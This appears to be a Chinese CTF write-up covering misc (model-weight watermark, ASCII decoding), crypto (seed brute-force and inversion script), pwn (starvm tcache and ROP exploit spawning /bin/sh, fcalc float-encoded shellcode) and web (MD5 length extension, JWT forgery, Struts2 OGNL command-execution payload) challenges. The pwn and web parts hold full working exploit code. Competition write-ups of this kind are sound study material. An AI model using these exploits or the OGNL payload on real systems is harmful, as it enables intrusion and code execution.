21 if torch.cuda.is_available():
22     resnet50 = resnet50.cuda()
23
24 loss_fn = nn.CrossEntropyLoss()
25 if torch.cuda.is_available():
26     loss_fn = loss_fn.cuda()
27
28 learning_rate = 0.01
29 optimizer = torch.optim.SGD(resnet50.parameters(), lr=learning_rate,)
30
31 total_train_step = 0
32 total_test_step = 0
33 epoch = 10 # 2 5 10
34
35 for i in range(epoch):
36     print("Epoch {} Begins".format(i+1))
37     resnet50.train()
38
39     for data in train_dataloader:
40         imgs, targets = data
41         if torch.cuda.is_available():
42             imgs = imgs.cuda()
43             targets = targets.cuda()
44         outputs = resnet50(imgs)
45         loss = loss_fn(outputs, targets)
46
47         optimizer.zero_grad()
48         loss.backward()
49         optimizer.step()
50
51         total_train_step = total_train_step + 1
52
53     total_test_loss = 0
54     with torch.no_grad():
55         for data in test_dataloader:
56             imgs, targets = data
57             if torch.cuda.is_available():
58                 imgs = imgs.cuda()
59                 targets = targets.cuda()
60             outputs = resnet50(imgs)
61             loss = loss_fn(outputs, targets)
62             total_test_loss += loss.item()
63             total_test_step += 1
64
65 torch.save(resnet50, '<file_path>/resnet_mwm_finetune_epoch_10.pth')
66
67 print("Done")

```

观察得到的模型参数和题目给出的参数进行对比，从 `layer2.0` 后网络的参数就几乎不同了（其实直观上来讲也不用做任何训练，毕竟对于 `resnet50` 这种大型网络来讲，`fine-tune` 对浅层的参数的改动一般不大，直接在浅层的参数里摠找也行），然后就在前面的参数中摠找，发现题目给出参数 `layer2.0.downsample.1` 的 `weight` 和 `bias` 都是空的，那很明显这一层就是用来维持水印稳定的，水印应该就是在这一层上面，后面看到给出了第二条 hint：“题目《MWM》的提示消息 `flag` 的内容是可打印字符串，通过除以256转化为0到1的浮点数并直接替换了部分模

型权重。flag内容的开头四个字符是'copy'”正好 `layer2.0.downsample.1` 前面的 `layer2.0.downsample.0.weight` 看起来就很奇怪，拿去试了试得到 flag: `copy_right_at_JRrPC91IAG_2022_2023_all_rights_reserved`

(到现在也很纳闷出这题的意义在哪，给这第二条 hint 后直接对着参数里 `e-01` 这种数量级的数看也能找出来 flag，不给这第二条 hint 这题根本就没法做，怪)

2.3 old language

D 62 H 003E	>	D 63 H 003F	?	D 64 H 0040	@	D 65 H 0041	A	D 66 H 0042	B	D 67 H 0043	C	D 68 H 0044	D	D 69 H 0045	E	D 70 H 0046	F	D 71 H 0047	G
																			
D 72 H 0048	H	D 73 H 0049	I	D 74 H 004A	J	D 75 H 004B	K	D 76 H 004C	L	D 77 H 004D	M	D 78 H 004E	N	D 79 H 004F	O	D 80 H 0050	P	D 81 H 0051	Q
																			
D 82 H 0052	R	D 83 H 0053	S	D 84 H 0054	T	D 85 H 0055	U	D 86 H 0056	V	D 87 H 0057	W	D 88 H 0058	X	D 89 H 0059	Y	D 90 H 005A	Z	D 91 H 005B	[
																			

对照这个来看，flag是 `*ctf{gikrvzy}`（有可能是大写，忘了）

3 Crypto

3.1 ezCrypto

爆破得到 rseed，`crypto_phase2`，`crypto_phase3`，`crypto_final` 都是可逆的。第一部分爆破最后一个字节，再根据其他信息判断真实 flag 即可。

爆破 rseed:

```
1 import random
2 import string
3
4 map_string2_target = "8K#Ttr@&5=q;s!^:6?W`-
{Ao}ZmyVkPjGJ\\\\20fFnI]Uwui4({|a<$vg0Xb+lzMepx,3Y1>CS~7E[_cLdRBD.h%H*'/9\\\"N"
5 cipher = "edT00<jmZ`aP,>3/LZALI]~S=}NP=7zY"
6
7 for rseed in range(0,1001):
8     characters = string.printable[:-6]
9     random.seed(rseed)
10    random_sequence = random.sample(characters, len(characters))
11    map_string1 = ''.join(random_sequence)
12
13    random.seed(rseed * 2)
14    random_sequence = random.sample(characters, len(characters))
```

```

15     map_string2 = ''.join(random_sequence)
16
17     random.seed(rseed * 3)
18     random_sequence = random.sample(characters, len(characters))
19     map_string3 = ''.join(random_sequence)
20
21     if map_string2 == map_string2_target:
22         print(f"Found {rseed = }")

```

exp 如下

```

1  import random
2  import string
3
4  rseed = 671
5  assert rseed <= 1000 and rseed >= 0
6
7  characters = string.printable[:-6]
8  random.seed(rseed)
9  random_sequence = random.sample(characters, len(characters))
10 map_string1 = ''.join(random_sequence)
11
12 random.seed(rseed * 2)
13 random_sequence = random.sample(characters, len(characters))
14 map_string2 = ''.join(random_sequence)
15
16 random.seed(rseed * 3)
17 random_sequence = random.sample(characters, len(characters))
18 map_string3 = ''.join(random_sequence)
19
20 def util(flag):
21     return flag[9: -1]
22
23 def util1(c):
24     return map_string3.index(c)
25
26 def str_xor(s: str, k: str, index: int):
27     return ''.join(chr((ord(a) + index) ^ (ord(b) + index)) for a, b in zip(s, k))
28
29 def crypto_phase1(flag):
30     flag_list1 = util(flag).split('_')
31     newlist1 = []
32     newlist2 = []
33     index = 1
34     k = 0
35     for i in flag_list1:
36         if len(i) % 2 == 1:
37             i1 = ""
38             for j in range(len(i) - 1):
39                 i1 += str_xor(i[j], i[j+1], index)
40
41             index += 1
42             i1 += str(k)
43             k += 1
44             newlist1.append(i1)
45

```

```

46         else:
47             i += str(k)
48             k += 1
49             newList2.append(i)
50
51     return newList1, newList2
52
53 def crypto_phase2(list):
54     newList = []
55     for i in list:
56         str = ""
57         for j in i:
58             str += map_string1[util1(j)]
59
60     newList.append(str)
61     return newList
62
63 def crypto_phase3(list):
64     newList = []
65     for i in list:
66         str = ""
67         for j in i:
68             str += map_string2[util1(j)]
69
70     newList.append(str)
71     return newList
72
73 def re3(strs):
74     res = ""
75     for ch in strs:
76         res += map_string3[map_string2.index(ch)]
77     return res
78
79 def re2(strs):
80     res = ""
81     for ch in strs:
82         res += map_string3[map_string1.index(ch)]
83     return res
84
85 def crypto_final(list):
86     str=""
87     for i in list[::-1]:
88         str += i
89     return str
90
91 if __name__ == '__main__':
92     format="sixstars{XXX}"
93     flag="sixstars{its_only_for_testing_fake_flag_orz1_23333}"
94
95     cipher = "edT00<jmZ`aP,>3/LZALI]~S=}NP=7zY"
96     print(f"{re3(cipher) = }")
97     print(f"{re2(re3(cipher)) = }")
98     tmp = 'cR7Pt05ln4s0m32F1nD1;[\\v=oz0=:L('
99     tmp_list = ["cR7Pt05", "ln4", "s0m32", "F1nD1", ";[\\v=oz0=:L("]
100
101     l1 = len(";[\\v=oz0=:L(")

```

```

102     tmp2 = re3(cipher)[-11:]
103     print(f"{len(tmp2) = } , { tmp2 = }")
104     tmp21 = tmp2[:len(tmp2)//2]
105     tmp22 = tmp2[len(tmp2)//2:]
106     print(f"{tmp21 = }")
107     print(f"{tmp22 = }")
108     print(f"{re2(tmp21) = }")
109     print(f"{re2(tmp22) = }")
110
111     res3 = "~F3"
112     res0 = "&)0"
113
114     for ch3 in characters:
115         res32 = ((ord(ch3) + 2) ^ ord(res3[1])) - 2
116         res31 = ((res32 + 2) ^ ord(res3[0])) - 2
117         # all ascii
118         if res31 < 32 or res31 > 127 or res32 < 32 or res32 > 127:
119             continue
120         str3 = bytes([res31, res32, ord(ch3)])
121         print(f"{str3 = }")
122
123     for ch3 in characters:
124         res02 = ((ord(ch3) + 1) ^ ord(res0[1])) - 1
125         res01 = ((res02 + 1) ^ ord(res0[0])) - 1
126         if res01 < 32 or res01 > 127 or res02 < 32 or res02 > 127:
127             continue
128         str0 = bytes([res01, res02, ord(ch3)])
129         print(f"{str0 = }")
130
131     t3 = ["F4n"]
132     t0 = ["tRy", "tRy"]
133     tmp_list = ["cR7Pt0", "ln", "F4n", "s0m3", "F1nD", "TrY"]
134     print("sixstars{" + "_".join(tmp_list[::-1]) + "}")

```

4 Pwn

4.1 starvm

劫持 tcache 结构体，分配堆块到栈上写 ROP 链。

做的两道 pwn 题都比较直，基本能看条件知道出题人想干嘛（）。

Analysis

程序的最开始会读指令和数据，每条指令对应两条数据。指令用空格分割，16 为结束标志；数据用 scanf 读入，0xdeadbeef 为结束标志（这个东西也太丑陋了，exp 写得老长调试起来把眼睛都看瞎了）。因为是 C++ 写的 VM 题目，就慢慢盯着 ida 逆，得到 VM 如下：

```

1  00000000 VM          struct ; (sizeof=0x80, align=0x8, copyof_12)
2  00000000 code        std::vector::_Command_ptr_ ?
3  00000018 data        std::vector::_int_ ?
4  00000030 pc          dq ? ; offset
5  00000038 reg         dd 14 dup(?)

```

```

6  00000070 memory          dq ? ; offset
7  00000078 unknown        dd ?
8  0000007C                db ? ; undefined
9  0000007D                db ? ; undefined
10 0000007E                db ? ; undefined
11 0000007F                db ? ; undefined
12 00000080 VM             ends
13 00000080
14 00000000 ; -----
15 00000000
16 00000000 std::vector::_int_ struc ; (sizeof=0x18, align=0x8, copyof_10)
17 00000000                ; XREF: VM/r
18 00000000 start          dq ? ; offset
19 00000008 finish        dq ? ; offset
20 00000010 end_          dq ? ; offset
21 00000018 std::vector::_int_ ends

```

虚拟机运行里面问题一大堆，其实到最后只用了两条指令：10 把立即数存入寄存器、7 把寄存器中的值写到任意地址，所有数据读写操作都有负数溢出，并且 10 没有任何检查：

```

1  case 7:
2      v42 = this->data.start;
3      v43 = data_ptr;
4      data_ptr += 2;
5      op0 = v42[v43];
6      op1 = v42[v43 + 1];
7      if ( (int)op0 > 14 )
8  ERROR:
9      err_exit();
10     v46 = this->memory;
11     if ( !v46 )
12     {
13         v46 = (int *)malloc(0x70uLL);
14         this->memory = v46;
15     }
16     ++code_ptr;
17     v46[op1] = this->reg[op0];
18     break;
19 case 10:
20     v37 = data_ptr;
21     ++code_ptr;
22     data_ptr += 2;
23     this->reg[this->data.start[v37]] = this->data.start[v37 + 1];
24     break;
25

```

Exploitation

连续利用上面这两条指令就可以实现劫持 `tcache` 结构体，分配堆块到栈上写 ROP 链，做的时候太困了一开始还想把 `/bin/sh` 写在 VM 里面，用负数溢出把指针移到栈上，不知道为什么算不准偏移，最后还是把它写到栈上了，毕竟有栈地址，exp 如下：

```

1  #!/usr/bin/env python3
2  #-*- coding: utf-8 -*-
3  #   expBy : @eastXueLian
4  #   Debug : ./exp.py debug ./pwn -t -b b+0xabcd
5  #   Remote: ./exp.py remote ./pwn ip:port

```

```

6
7 from pwncli import *
8 cli_script()
9 set_remote_libc('libc.so.6')
10
11 io: tube = gift.io
12 elf: ELF = gift.elf
13 libc: ELF = gift.libc
14
15 i2b = lambda c : str(c).encode()
16 lg = lambda s : log.info('\033[1;31;40m %s --> 0x%x \033[0m' % (s, eval(s)))
17 debugB = lambda : input("\033[1m\033[33m[ATTACH ME]\033[0m")
18
19 # one_gadgets: list = get_current_one_gadget_from_libc(more=False)
20 CurrentGadgets.set_find_area(find_in_elf=True, find_in_libc=False, do_initial=False)
21
22 ru(b'your vm starts at ')
23 stack_addr = int(ru(b"\n", drop=True), 16)
24 lg("stack_addr")
25 ret_addr = stack_addr - 0x10
26 bin_sh = stack_addr + 0x30
27
28 command = b"0 "
29 command += b"10 "
30 command += b"10 "
31 command += b"10 "
32
33 command += b"10 "
34 command += b"10 "
35
36 command += b"10 "
37 command += b"7 "
38 command += b"10 "
39 command += b"7 "
40 command += b"10 "
41 command += b"7 "
42
43 command += b"10 "
44 command += b"7 "
45 command += b"10 "
46 command += b"7 "
47 command += b"10 "
48 command += b"7 "
49 command += b"10 "
50 command += b"7 "
51 command += b"10 "
52 command += b"7 "
53 command += b"10 "
54 command += b"7 "
55 command += b"10 "
56 command += b"7 "
57 command += b"10 "
58 command += b"7 "
59 command += b"10 "
60 command += b"7 "
61 command += b"10 "

```

```

62 command += b"7 "
63 command += b"10 "
64 command += b"7 "
65 command += b"10 "
66 command += b"7 "
67 command += b"10 "
68 command += b"7 "
69
70 # command += b"10 "
71 # command += b"3 "
72 command += b"16"
73 ru(b'your command:\n')
74 s(command)
75
76 pop_rdi_ret = 0x00000000004017cb
77 pop_rsi_ret = 0x00000000004016f0
78 pop_rax_ret = 0x0000000000401468
79 syscall_addr = 0x000000000040146a
80
81 data = [
82     b"0", b"-14",
83     i2b(-18362 + 7), i2b(0x00000007),
84     i2b(-18362 + 6 + 42), i2b(ret_addr & 0xffffffff ),
85     i2b(-18362 + 7 + 42), i2b( (ret_addr>>32) & 0xffffffff ),
86
87     b"2", i2b(u32_ex(b"/bin")),
88     b"3", i2b(u32_ex(b"/sh\x00")),
89
90     b"10", i2b(pop_rdi_ret),
91     b"10", i2b(2),
92
93     b"10", i2b(bin_sh & 0xffffffff),
94     b"10", i2b(4),
95     b"10", i2b((bin_sh>>32) & 0xffffffff),
96     b"10", i2b(5),
97     b"10", i2b(pop_rsi_ret),
98     b"10", i2b(6),
99     b"10", i2b(0),
100    b"10", i2b(7),
101    b"10", i2b(0),
102    b"10", i2b(8),
103    b"10", i2b(0),
104    b"10", i2b(9),
105    b"10", i2b(pop_rax_ret),
106    b"10", i2b(10),
107    b"10", i2b(0),
108    b"10", i2b(11),
109    b"10", i2b(59),
110    b"10", i2b(12),
111    b"10", i2b(0),
112    b"10", i2b(13),
113    b"10", i2b(syscall_addr),
114    b"10", i2b(14),
115    b"10", i2b(0),
116    b"10", i2b(15),
117    b"10", i2b(u32_ex(b"/bin")),

```



```

118     b"10", i2b(16),
119     b"10", i2b(u32_ex(b"/sh\\x00")),
120     b"10", i2b(17),
121     b"10", i2b(0),
122     b"10", i2b(18),
123
124     # b"8", i2b(0x1c8),
125     # b"0", b"8",
126 ]
127 ru(b'your cost:\\n')
128 for i in data:
129     sl(i)
130 sl(i2b(0xdeadbeef))
131
132 ia()

```

4.2 fcalc

用浮点数写 shellcode。感觉我这里钻了个空子：只用浮点数写了 read syscall 的代码（又或者是出题人设计好的 ☺），毕竟寄存器里的值甚至都布置好了）。

Analysis

题目给了一个后缀表达式的计算器，但是边界判断很模糊，ida 里看到出现运算符号进行计算的地方：

```

1  if ( buf[i] <= 32 || buf[i] > 48 ){
2      // ...
3  }
4  else {
5      // ...
6      ((void (*)(void))qword_4060[buf[i] - 32])();
7  }

```

这里没有把 0 考虑进去，也就是说直接输入 0 的时候会触发函数指针数组的越界，而进一步观察发现：

```

1  .bss:0000000000004060 ; __int64 qword_4060[]
2  .bss:0000000000004060 qword_4060      dq ?                ; DATA XREF: inits+69↑w
3  ; ...
4  .bss:00000000000040E0 ; double *curr_data
5  .bss:00000000000040E0 curr_data

```

上面的越界会调用到此前输入的浮点数，于是实现了控制流劫持。

Exploitation

这道题又开了栈上可执行，接下来问题就变成了怎么构造绝对值小于 100 的浮点数 shellcode：这里直接用之前打 V8 时的 [js 板子](#) 来转换浮点数，发现 `xor eax, eax` 转为浮点形式开头是 0xc0，满足条件，理论上在任何一句小于 6 字节的汇编语句后加上这句汇编就能满足条件，因此直接考虑调用 read 把 shellcode 读进来：

```

1 # python
2 >>> hex(u64_ex(asm("xor eax, eax; syscall; xor eax, eax;")))
3 '0xc031050fc031'
4
5 # javascript
6 print(helper.i64tof64(0xc031050fc0319090n));
7 -17.019771587467915

```

最后得到的内容就是我们要调用的 shellcode 浮点形式，故得到 exp 如下：

```

1 #!/usr/bin/env python3
2 #-*- coding: utf-8 -*-
3 # expBy : @eastXueLian
4 # Debug : ./exp.py debug ./pwn -t -b b+0xabcd
5 # Remote: ./exp.py remote ./pwn ip:port
6
7 from pwncli import *
8 cli_script()
9 # set_remote_libc('libc.so.6')
10
11 io: tube = gift.io
12 elf: ELF = gift.elf
13 libc: ELF = gift.libc
14
15 i2b = lambda c : str(c).encode()
16 lg = lambda s : log.info('\033[1;31;40m %s --> 0x%x \033[0m' % (s, eval(s)))
17 debugB = lambda : input("\033[1m\033[33m[ATTACH ME]\033[0m")
18
19 # one_gadgets: list = get_current_one_gadget_from_libc(more=False)
20 CurrentGadgets.set_find_area(find_in_elf=True, find_in_libc=False, do_initial=False)
21
22 ru(b'Enter your expression:\n')
23
24 sl(b"1 18.019771587467915 -")
25 rl()
26 sl(b"1 18.019771587467915 -")
27 rl()
28 sl(b"1 18.019771587467915 -")
29 rl()
30 sl(b"1 18.019771587467915 -")
31 rl()
32
33 sl(b"-")
34 rl()
35 sl(b"0")
36
37 payload = b"\x90"*0x5e
38 payload += ShellcodeMall.amd64.execve_bin_sh
39 s(payload)
40
41 ia()

```

5 Web

5.1 jwt2struts

查看页面源代码有提示 JWT_key.php

要求 `$_COOKIE["digest"] === md5($salt.$username.$password)`

并给出了 `md5($salt."adminroot")=e6ccbf12de9d33ec27a5bcfb6a3293df`

可以利用MD5扩展长度攻击

[illegible]

传参拿到secret_key, jwt伪造session访问, 转到 `/admiiaiiiiiiiiin`

有三个输入框，struts2漏洞，利用点在age，最终poc如下：

```
1 name=%25%7B%27123%27%7D&email=%25%7B%27123%27%7D&age=%27+%2B+%28%23_memberAccess%5B%22a
  1lowStaticMethodAccess%22%5D%3Dtrue%2C%23foo%3Dnew+java.lang.Boolean%28%22false%22%29+%
  2C%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3D%23foo%2C%40org.apac
  he.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%27en
  v%27%29.getInputStream%28%29%29%29+%2B+%27
```

尝试读取环境变量，得到 `FLAG=flag{7r0n_jwt_t0_struts2}`，根据提示最终flag为

```
*ctf{7r0n_jwt_t0_struts2}
```